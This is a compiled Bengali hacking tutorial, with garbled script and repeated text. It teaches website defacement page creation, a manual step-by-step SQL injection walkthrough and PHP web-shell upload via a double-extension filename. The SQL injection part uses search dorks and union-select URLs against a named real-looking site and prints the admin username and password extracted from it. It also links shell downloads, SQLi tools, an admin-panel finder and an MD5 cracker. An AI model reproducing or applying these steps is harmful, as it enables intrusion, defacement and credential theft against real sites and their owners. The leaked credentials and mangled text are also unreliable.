১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
